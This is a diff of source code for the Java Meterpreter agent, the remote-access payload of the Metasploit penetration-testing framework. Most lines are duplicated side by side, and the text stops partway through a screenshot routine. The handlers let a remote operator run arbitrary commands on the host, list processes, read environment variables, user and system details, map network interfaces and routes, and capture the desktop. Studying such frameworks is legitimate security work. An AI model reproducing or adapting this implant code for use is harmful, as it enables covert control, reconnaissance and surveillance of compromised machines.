public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH); String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
if (path.equals("...")) { if (path.equals("...")) {
long length = meterpreter.getErrorBufferLength(); long length = meterpreter.getErrorBufferLength();
if (length != -1) { if (length != -1) {
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(0444 | 0100000, length, System.currentTimeMillis())); response.add(TLVType.TLV_TYPE_STAT_BUF, stat(0444 | 0100000, length, System.currentTimeMillis()));
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }
File file = new File(path); File file = new File(path);
if (!file.exists()) if (!file.exists())
file = Loader.expand(path); file = Loader.expand(path);
if (!file.exists()) if (!file.exists())
throw new IOException("File/directory does not exist: " + path); throw new IOException("File/directory does not exist: " + path);
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(file)); response.add(TLVType.TLV_TYPE_STAT_BUF, stat(file));
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
public byte[] stat(File file) throws IOException { public byte[] stat(File file) throws IOException {
int mode = (file.canRead() ? 0444 : 0) int mode = (file.canRead() ? 0444 : 0)
| (file.canWrite() ? 0222 : 0) | (file.canWrite() ? 0222 : 0)
| (canExecute(file) ? 0110 : 0) | (canExecute(file) ? 0110 : 0)
// File objects have a prefix (which is something like "C:\\" on Windows // File objects have a prefix (which is something like "C:\\" on Windows
// and always "/" on Linux) and a name. If we're talking about the root // and always "/" on Linux) and a name. If we're talking about the root
// directory, the name will be an empty string which triggers a bug in gcj // directory, the name will be an empty string which triggers a bug in gcj
// where isHidden() blows up when calling charAt(0) on an empty string. // where isHidden() blows up when calling charAt(0) on an empty string.
// Work around it by always treating / as unhidden. // Work around it by always treating / as unhidden.
| (!file.getAbsolutePath().equals("/") && file.isHidden() ? 1 : 0) | (!file.getAbsolutePath().equals("/") && file.isHidden() ? 1 : 0)
| (file.isDirectory() ? 040000 : 0) | (file.isDirectory() ? 040000 : 0)
| (file.isFile() ? 0100000 : 0) | (file.isFile() ? 0100000 : 0);
; return stat(mode, file.length(), file.lastModified());
return stat(mode, file.length(), file.lastModified()); }
}
private byte[] stat(int mode, long length, long lastModified) throws IOException { private byte[] stat(int mode, long length, long lastModified) throws IOException {
ByteArrayOutputStream statbuf = new ByteArrayOutputStream(); ByteArrayOutputStream statbuf = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(statbuf); DataOutputStream dos = new DataOutputStream(statbuf);
dos.writeInt(le(0)); // dev dos.writeInt(le(0)); // dev
dos.writeShort(short_le(0)); // ino dos.writeShort(short_le(0)); // ino
dos.writeShort(short_le(mode)); // mode dos.writeShort(short_le(mode)); // mode
dos.writeShort(short_le(1)); // nlink dos.writeShort(short_le(1)); // nlink
dos.writeShort(short_le(65535)); // uid dos.writeShort(short_le(65535)); // uid
dos.writeShort(short_le(65535)); // gid dos.writeShort(short_le(65535)); // gid
dos.writeShort(short_le(0)); // padding dos.writeShort(short_le(0)); // padding
dos.writeInt(le(0)); // rdev dos.writeInt(le(0)); // rdev
dos.writeInt(le((int) length)); // size dos.writeInt(le((int) length)); // size
int mtime = (int) (lastModified / 1000); int mtime = (int) (lastModified / 1000);
dos.writeInt(le(mtime)); // atime dos.writeInt(le(mtime)); // atime
dos.writeInt(le(mtime)); // mtime dos.writeInt(le(mtime)); // mtime
dos.writeInt(le(mtime)); // ctime dos.writeInt(le(mtime)); // ctime
dos.writeInt(le(1024)); // blksize dos.writeInt(le(1024)); // blksize
dos.writeInt(le((int) ((length + 1023) / 1024))); // blocks dos.writeInt(le((int) ((length + 1023) / 1024))); // blocks
return statbuf.toByteArray(); return statbuf.toByteArray();
} }
/** /**
* Check whether a file can be executed. * Check whether a file can be executed.
*/ */
protected boolean canExecute(File file) { protected boolean canExecute(File file) {
return false; return false;
} }
/** /**
* Convert an integer to little endian. * Convert an integer to little endian.
*/ */
private static int le(int value) { private static int le(int value) {
return ((value & 0xff) << 24) | ((value & 0xff00) << 8) | ((value & 0xff0000) >> 8) | (int) ((value & 0xff000000L) >> 24); return ((value & 0xff) << 24) | ((value & 0xff00) << 8) | ((value & 0xff0000) >> 8) | (int) ((value & 0xff000000L) >> 24);
} }
/** /**
* Convert a short to little endian. * Convert a short to little endian.
*/ */
private static int short_le(int value) { private static int short_le(int value) {
return ((value & 0xff) << 8) | ((value & 0xff00) >> 8); return ((value & 0xff) << 8) | ((value & 0xff00) >> 8);
} }
} }

@ -4,7 +4,7 @@ import java.io.File;
public class stdapi_fs_stat_V1_6 extends stdapi_fs_stat { public class stdapi_fs_stat_V1_6 extends stdapi_fs_stat {
protected boolean canExecute(File file) { protected boolean canExecute(File file) {
return file.canExecute(); return file.canExecute();
} }
} }

@ -14,86 +14,86 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command { public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int index = 0; int index = 0;
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) { for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements(); ) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement(); NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
TLVPacket ifaceTLV = new TLVPacket(); TLVPacket ifaceTLV = new TLVPacket();
ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index); ifaceTLV.add(TLVType.TLV_TYPE_INTERFACE_INDEX, ++index);
Address[] addresses = getAddresses(iface); Address[] addresses = getAddresses(iface);
for (int i = 0; i < addresses.length; i++) { for (int i = 0; i < addresses.length; i++) {
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address); ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP, addresses[i].address);
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength)); ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP_PREFIX, new Integer(addresses[i].prefixLength));
if (addresses[i].scopeId != null) { if (addresses[i].scopeId != null) {
ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId); ifaceTLV.addOverflow(TLVType.TLV_TYPE_IP6_SCOPE, addresses[i].scopeId);
} }
} }
addMTU(ifaceTLV, iface); addMTU(ifaceTLV, iface);
byte[] mac = getMacAddress(iface); byte[] mac = getMacAddress(iface);
if (mac != null) { if (mac != null) {
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac); ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, mac);
} else { } else {
// seems that Meterpreter does not like interfaces without // seems that Meterpreter does not like interfaces without
// mac address // mac address
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]); ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, new byte[0]);
} }
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName()); ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV); response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException { protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
// not supported before 1.6 // not supported before 1.6
} }
protected byte[] getMacAddress(NetworkInterface iface) throws IOException { protected byte[] getMacAddress(NetworkInterface iface) throws IOException {
return null; return null;
} }
/** /**
* Return address information of this interface that cannot be determined * Return address information of this interface that cannot be determined
* the same way for all Java versions. * the same way for all Java versions.
* *
* @param iface * @param iface
* @return Array of {@link Interface} * @return Array of {@link Interface}
*/ */
public Address[] getAddresses(NetworkInterface iface) throws IOException { public Address[] getAddresses(NetworkInterface iface) throws IOException {
List/* <Address> */result = new ArrayList(); List/* <Address> */result = new ArrayList();
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) { for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements(); ) {
InetAddress addr = (InetAddress) en.nextElement(); InetAddress addr = (InetAddress) en.nextElement();
byte[] ip = addr.getAddress(); byte[] ip = addr.getAddress();
if (ip == null) if (ip == null)
continue; continue;
int prefixLength = 0; int prefixLength = 0;
if (ip.length == 4) { if (ip.length == 4) {
// guess netmask by network class... // guess netmask by network class...
if ((ip[0] & 0xff) < 0x80) { if ((ip[0] & 0xff) < 0x80) {
prefixLength = 8; prefixLength = 8;
} else if ((ip[0] & 0xff) < 0xc0) { } else if ((ip[0] & 0xff) < 0xc0) {
prefixLength = 16; prefixLength = 16;
} else { } else {
prefixLength = 24; prefixLength = 24;
} }
} }
result.add(new Address(ip, prefixLength, null)); result.add(new Address(ip, prefixLength, null));
} }
return (Address[]) result.toArray(new Address[result.size()]); return (Address[]) result.toArray(new Address[result.size()]);
} }
/** /**
* An IP address associated to an interface, together with a prefix length * An IP address associated to an interface, together with a prefix length
* and optionally a scope. * and optionally a scope.
*/ */
protected static class Address { protected static class Address {
public final byte[] address; public final byte[] address;
public final int prefixLength; public final int prefixLength;
public final byte[] scopeId; public final byte[] scopeId;
public Address(byte[] address, int prefixLength, byte[] scopeId) { public Address(byte[] address, int prefixLength, byte[] scopeId) {
this.address = address; this.address = address;
this.prefixLength = prefixLength; this.prefixLength = prefixLength;
this.scopeId = scopeId; this.scopeId = scopeId;
} }
} }
} }

@ -15,38 +15,38 @@ import com.metasploit.meterpreter.TLVType;
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 { public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
public Address[] getAddresses(NetworkInterface iface) throws IOException { public Address[] getAddresses(NetworkInterface iface) throws IOException {
List/* <Address> */result = new ArrayList(); List/* <Address> */result = new ArrayList();
List addresses = iface.getInterfaceAddresses(); List addresses = iface.getInterfaceAddresses();
for (Iterator it = addresses.iterator(); it.hasNext();) { for (Iterator it = addresses.iterator(); it.hasNext(); ) {
InterfaceAddress addr = (InterfaceAddress) it.next(); InterfaceAddress addr = (InterfaceAddress) it.next();
byte[] ip = addr.getAddress().getAddress(); byte[] ip = addr.getAddress().getAddress();
if (ip == null) if (ip == null)
continue; continue;
int prefixLength = addr.getNetworkPrefixLength(); int prefixLength = addr.getNetworkPrefixLength();
if (prefixLength == -1 && ip.length == 4) { if (prefixLength == -1 && ip.length == 4) {
// guess netmask by network class... // guess netmask by network class...
if ((ip[0] & 0xff) < 0x80) { if ((ip[0] & 0xff) < 0x80) {
prefixLength = 8; prefixLength = 8;
} else if ((ip[0] & 0xff) < 0xc0) { } else if ((ip[0] & 0xff) < 0xc0) {
prefixLength = 16; prefixLength = 16;
} else { } else {
prefixLength = 24; prefixLength = 24;
} }
} }
byte[] scopeId = null; byte[] scopeId = null;
if (addr.getAddress() instanceof Inet6Address) { if (addr.getAddress() instanceof Inet6Address) {
ByteBuffer bb = ByteBuffer.allocate(4); ByteBuffer bb = ByteBuffer.allocate(4);
bb.order(ByteOrder.BIG_ENDIAN); bb.order(ByteOrder.BIG_ENDIAN);
bb.putInt(((Inet6Address) addr.getAddress()).getScopeId()); bb.putInt(((Inet6Address) addr.getAddress()).getScopeId());
scopeId = bb.array(); scopeId = bb.array();
} }
result.add(new Address(ip, prefixLength, scopeId)); result.add(new Address(ip, prefixLength, scopeId));
} }
return (Address[]) result.toArray(new Address[result.size()]); return (Address[]) result.toArray(new Address[result.size()]);
} }
protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException { protected void addMTU(TLVPacket ifaceTLV, NetworkInterface iface) throws IOException {
ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU()); ifaceTLV.add(TLVType.TLV_TYPE_MTU, iface.getMTU());
} }
} }

@ -10,30 +10,30 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_routes implements Command { public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_routes implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces"); stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) { for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements(); ) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement(); NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface); stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface);
for (int i = 0; i < addresses.length; i++) { for (int i = 0; i < addresses.length; i++) {
TLVPacket ifaceTLV = new TLVPacket(); TLVPacket ifaceTLV = new TLVPacket();
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address); ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address);
int length = addresses[i].address.length; int length = addresses[i].address.length;
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength)); ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength));
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]); ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]);
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV); response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
} }
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
private static byte[] createNetworkMask(int length, int prefixLength) { private static byte[] createNetworkMask(int length, int prefixLength) {
if (prefixLength > length * 8) if (prefixLength > length * 8)
prefixLength = length * 8; prefixLength = length * 8;
byte[] netmask = new byte[length]; byte[] netmask = new byte[length];
for (int i = 0; i < prefixLength; i++) { for (int i = 0; i < prefixLength; i++) {
netmask[i / 8] |= (1 << (7 - (i % 8))); netmask[i / 8] |= (1 << (7 - (i % 8)));
} }
return netmask; return netmask;
} }
} }

@ -11,18 +11,18 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_net_socket_tcp_shutdown implements Command { public class stdapi_net_socket_tcp_shutdown implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
SocketChannel c = (SocketChannel) meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true); SocketChannel c = (SocketChannel) meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
Socket socket = c.getSocket(); Socket socket = c.getSocket();
int how = request.getIntValue(TLVType.TLV_TYPE_SHUTDOWN_HOW); int how = request.getIntValue(TLVType.TLV_TYPE_SHUTDOWN_HOW);
shutdown(socket, how); shutdown(socket, how);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
protected void shutdown(Socket socket, int how) throws IOException { protected void shutdown(Socket socket, int how) throws IOException {
socket.close(); socket.close();
} }
} }

@ -5,24 +5,24 @@ import java.net.Socket;
public class stdapi_net_socket_tcp_shutdown_V1_3 extends stdapi_net_socket_tcp_shutdown { public class stdapi_net_socket_tcp_shutdown_V1_3 extends stdapi_net_socket_tcp_shutdown {
protected void shutdown(Socket socket, int how) throws IOException { protected void shutdown(Socket socket, int how) throws IOException {
switch (how) { switch (how) {
case 0: // shutdown reading case 0: // shutdown reading
socket.shutdownInput(); socket.shutdownInput();
break; break;
case 1: // shutdown writing case 1: // shutdown writing
socket.shutdownOutput(); socket.shutdownOutput();
break; break;
case 2: // shutdown reading and writing case 2: // shutdown reading and writing
socket.shutdownInput(); socket.shutdownInput();
socket.shutdownOutput(); socket.shutdownOutput();
break; break;
default: default:
throw new IllegalArgumentException("Invalid value for TLV_TYPE_SHUTDOWN_HOW: " + how); throw new IllegalArgumentException("Invalid value for TLV_TYPE_SHUTDOWN_HOW: " + how);
} }
} }
} }

@ -4,31 +4,32 @@ import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
import java.util.List; import java.util.List;
public class stdapi_sys_config_getenv implements Command { public class stdapi_sys_config_getenv implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
List envVars = request.getValues(TLVType.TLV_TYPE_ENV_VARIABLE); List envVars = request.getValues(TLVType.TLV_TYPE_ENV_VARIABLE);
for (int i = 0; i < envVars.size(); ++i) { for (int i = 0; i < envVars.size(); ++i) {
String envVar = (String)envVars.get(i); String envVar = (String) envVars.get(i);
if (envVar.startsWith("$") || envVar.startsWith("%")) { if (envVar.startsWith("$") || envVar.startsWith("%")) {
envVar = envVar.substring(1); envVar = envVar.substring(1);
} }
if (envVar.endsWith("$") || envVar.endsWith("%")) { if (envVar.endsWith("$") || envVar.endsWith("%")) {
envVar = envVar.substring(0, envVar.length() - 1); envVar = envVar.substring(0, envVar.length() - 1);
} }
String envVal = System.getenv(envVar); String envVal = System.getenv(envVar);
TLVPacket grp = new TLVPacket(); TLVPacket grp = new TLVPacket();
grp.add(TLVType.TLV_TYPE_ENV_VARIABLE, envVar); grp.add(TLVType.TLV_TYPE_ENV_VARIABLE, envVar);
grp.add(TLVType.TLV_TYPE_ENV_VALUE, envVal); grp.add(TLVType.TLV_TYPE_ENV_VALUE, envVal);
response.addOverflow(TLVType.TLV_TYPE_ENV_GROUP, grp); response.addOverflow(TLVType.TLV_TYPE_ENV_GROUP, grp);
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -6,8 +6,8 @@ import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
public class stdapi_sys_config_getuid implements Command { public class stdapi_sys_config_getuid implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_USER_NAME, System.getProperty("user.name")); response.add(TLVType.TLV_TYPE_USER_NAME, System.getProperty("user.name"));
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -8,9 +8,9 @@ import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
public class stdapi_sys_config_sysinfo implements Command { public class stdapi_sys_config_sysinfo implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost().getHostName()); response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost().getHostName());
response.add(TLVType.TLV_TYPE_OS_NAME, System.getProperty("os.name") + " " + System.getProperty("os.version") + " (" + System.getProperty("os.arch") + ")"); response.add(TLVType.TLV_TYPE_OS_NAME, System.getProperty("os.name") + " " + System.getProperty("os.version") + " (" + System.getProperty("os.arch") + ")");
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -10,45 +10,45 @@ import java.io.IOException;
public class stdapi_sys_process_execute implements Command { public class stdapi_sys_process_execute implements Command {
private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1); private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1);
private static int pid = 0; private static int pid = 0;
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
StringBuffer cmdbuf = new StringBuffer(); StringBuffer cmdbuf = new StringBuffer();
String cmd = request.getStringValue(TLVType.TLV_TYPE_PROCESS_PATH); String cmd = request.getStringValue(TLVType.TLV_TYPE_PROCESS_PATH);
String argsString = request.getStringValue(TLVType.TLV_TYPE_PROCESS_ARGUMENTS, ""); String argsString = request.getStringValue(TLVType.TLV_TYPE_PROCESS_ARGUMENTS, "");
int flags = request.getIntValue(TLVType.TLV_TYPE_PROCESS_FLAGS); int flags = request.getIntValue(TLVType.TLV_TYPE_PROCESS_FLAGS);
cmdbuf.append(cmd); cmdbuf.append(cmd);
if (argsString.length() > 0) { if (argsString.length() > 0) {
cmdbuf.append(argsString); cmdbuf.append(argsString);
}
if (cmd.length() == 0)
return ERROR_FAILURE;
Process proc = execute(cmdbuf.toString());
if ((flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) != 0) {
ProcessChannel channel = new ProcessChannel(meterpreter, proc);
synchronized (stdapi_sys_process_execute.class) {
pid++;
response.add(TLVType.TLV_TYPE_PID, pid);
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, (long) pid);
}
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
} else {
proc.getInputStream().close();
proc.getErrorStream().close();
proc.getOutputStream().close();
}
return ERROR_SUCCESS;
} }
protected Process execute(String cmdstr) throws IOException {
if (cmd.length() == 0) Process proc = Runtime.getRuntime().exec(cmdstr);
return ERROR_FAILURE; return proc;
}
Process proc = execute(cmdbuf.toString());
if ((flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) != 0) {
ProcessChannel channel = new ProcessChannel(meterpreter, proc);
synchronized (stdapi_sys_process_execute.class) {
pid++;
response.add(TLVType.TLV_TYPE_PID, pid);
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, (long)pid);
}
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
} else {
proc.getInputStream().close();
proc.getErrorStream().close();
proc.getOutputStream().close();
}
return ERROR_SUCCESS;
}
protected Process execute(String cmdstr) throws IOException {
Process proc = Runtime.getRuntime().exec(cmdstr);
return proc;
}
} }

@ -3,8 +3,8 @@ package com.metasploit.meterpreter.stdapi;
import java.io.IOException; import java.io.IOException;
public class stdapi_sys_process_execute_V1_3 extends stdapi_sys_process_execute { public class stdapi_sys_process_execute_V1_3 extends stdapi_sys_process_execute {
protected Process execute(String[] cmdarray) throws IOException { protected Process execute(String[] cmdarray) throws IOException {
Process proc = Runtime.getRuntime().exec(cmdarray, null, Loader.cwd); Process proc = Runtime.getRuntime().exec(cmdarray, null, Loader.cwd);
return proc; return proc;
} }
} }

@ -13,7 +13,7 @@ import com.metasploit.meterpreter.command.Command;
/** /**
* Ported from PHP meterpreter. * Ported from PHP meterpreter.
* * <p/>
* # Works, but not very portable. There doesn't appear to be a PHP way of * # Works, but not very portable. There doesn't appear to be a PHP way of
* # getting a list of processes, so we just shell out to ps/tasklist.exe. I need * # getting a list of processes, so we just shell out to ps/tasklist.exe. I need
* # to decide what options to send to ps for portability and for information * # to decide what options to send to ps for portability and for information
@ -21,59 +21,59 @@ import com.metasploit.meterpreter.command.Command;
*/ */
public class stdapi_sys_process_get_processes implements Command { public class stdapi_sys_process_get_processes implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
List processes = new ArrayList(); List processes = new ArrayList();
if (File.pathSeparatorChar == ';') { if (File.pathSeparatorChar == ';') {
Process proc = Runtime.getRuntime().exec(new String[] { "tasklist.exe", "/v", "/fo", "csv", "/nh" }); Process proc = Runtime.getRuntime().exec(new String[]{"tasklist.exe", "/v", "/fo", "csv", "/nh"});
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line; String line;
while ((line = br.readLine()) != null) { while ((line = br.readLine()) != null) {
if (line.length() == 0) if (line.length() == 0)
continue; continue;
line = line.substring(1, line.length() - 1); // strip quotes line = line.substring(1, line.length() - 1); // strip quotes
List parts = new ArrayList(); List parts = new ArrayList();
int pos; int pos;
// Ghetto CSV parsing // Ghetto CSV parsing
while ((pos = line.indexOf("\",\"")) != -1) { while ((pos = line.indexOf("\",\"")) != -1) {
parts.add(line.substring(0, pos)); parts.add(line.substring(0, pos));
line = line.substring(pos + 3); line = line.substring(pos + 3);
} }
parts.add(line); parts.add(line);
while (parts.size() < 7) while (parts.size() < 7)
parts.add(""); parts.add("");
processes.add(new String[] { (String) parts.get(1), (String) parts.get(6), (String) parts.get(0) }); processes.add(new String[]{(String) parts.get(1), (String) parts.get(6), (String) parts.get(0)});
} }
br.close(); br.close();
proc.waitFor(); proc.waitFor();
} else { } else {
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null" }); Process proc = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null"});
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line; String line;
while ((line = br.readLine()) != null) { while ((line = br.readLine()) != null) {
line = line.replace('\t', ' ').trim(); line = line.replace('\t', ' ').trim();
String[] process = new String[3]; String[] process = new String[3];
for (int i = 0; i < 2; i++) { for (int i = 0; i < 2; i++) {
int pos = line.indexOf(" "); int pos = line.indexOf(" ");
process[i] = line.substring(0, pos); process[i] = line.substring(0, pos);
line = line.substring(pos).trim(); line = line.substring(pos).trim();
} }
process[2] = line; process[2] = line;
processes.add(process); processes.add(process);
} }
} }
for (int i = 0; i < processes.size(); i++) { for (int i = 0; i < processes.size(); i++) {
String[] proc = (String[]) processes.get(i); String[] proc = (String[]) processes.get(i);
TLVPacket grp = new TLVPacket(); TLVPacket grp = new TLVPacket();
grp.add(TLVType.TLV_TYPE_PID, new Integer(proc[0])); grp.add(TLVType.TLV_TYPE_PID, new Integer(proc[0]));
grp.add(TLVType.TLV_TYPE_USER_NAME, proc[1]); grp.add(TLVType.TLV_TYPE_USER_NAME, proc[1]);
String procName = proc[2]; String procName = proc[2];
if (File.pathSeparatorChar != ';' && procName.indexOf(' ') != -1) { if (File.pathSeparatorChar != ';' && procName.indexOf(' ') != -1) {
procName = procName.substring(0, procName.indexOf(' ')); procName = procName.substring(0, procName.indexOf(' '));
} }
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, procName); grp.add(TLVType.TLV_TYPE_PROCESS_NAME, procName);
grp.add(TLVType.TLV_TYPE_PROCESS_PATH, proc[2]); grp.add(TLVType.TLV_TYPE_PROCESS_PATH, proc[2]);
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp); response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -18,28 +18,28 @@ import com.metasploit.meterpreter.command.Command;
public class stdapi_ui_desktop_screenshot_V1_4 extends stdapi_ui_desktop_screenshot implements Command { public class stdapi_ui_desktop_screenshot_V1_4 extends stdapi_ui_desktop_screenshot implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int quality = request.getIntValue(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY); int quality = request.getIntValue(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY);
response.add(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT, grabScreen(quality)); response.add(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT, grabScreen(quality));
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
private byte[] grabScreen(int quality) throws Exception { private byte[] grabScreen(int quality) throws Exception {
Rectangle screenBounds = new Rectangle(); Rectangle screenBounds = new Rectangle();
GraphicsDevice[] devices = GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices(); GraphicsDevice[] devices = GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices();
for (int i = 0; i < devices.length; i++) { for (int i = 0; i < devices.length; i++) {
screenBounds = screenBounds.union(devices[i].getDefaultConfiguration().getBounds()); screenBounds = screenBounds.union(devices[i].getDefaultConfiguration().getBounds());
} }
ImageWriter writer = (ImageWriter) ImageIO.getImageWritersByFormatName("jpeg").next(); ImageWriter writer = (ImageWriter) ImageIO.getImageWritersByFormatName("jpeg").next();
ImageWriteParam iwp = writer.getDefaultWriteParam(); ImageWriteParam iwp = writer.getDefaultWriteParam();
if (quality >= 0 && quality <= 100) { if (quality >= 0 && quality <= 100) {
iwp.setCompressionMode(ImageWriteParam.MODE_EXPLICIT); iwp.setCompressionMode(ImageWriteParam.MODE_EXPLICIT);
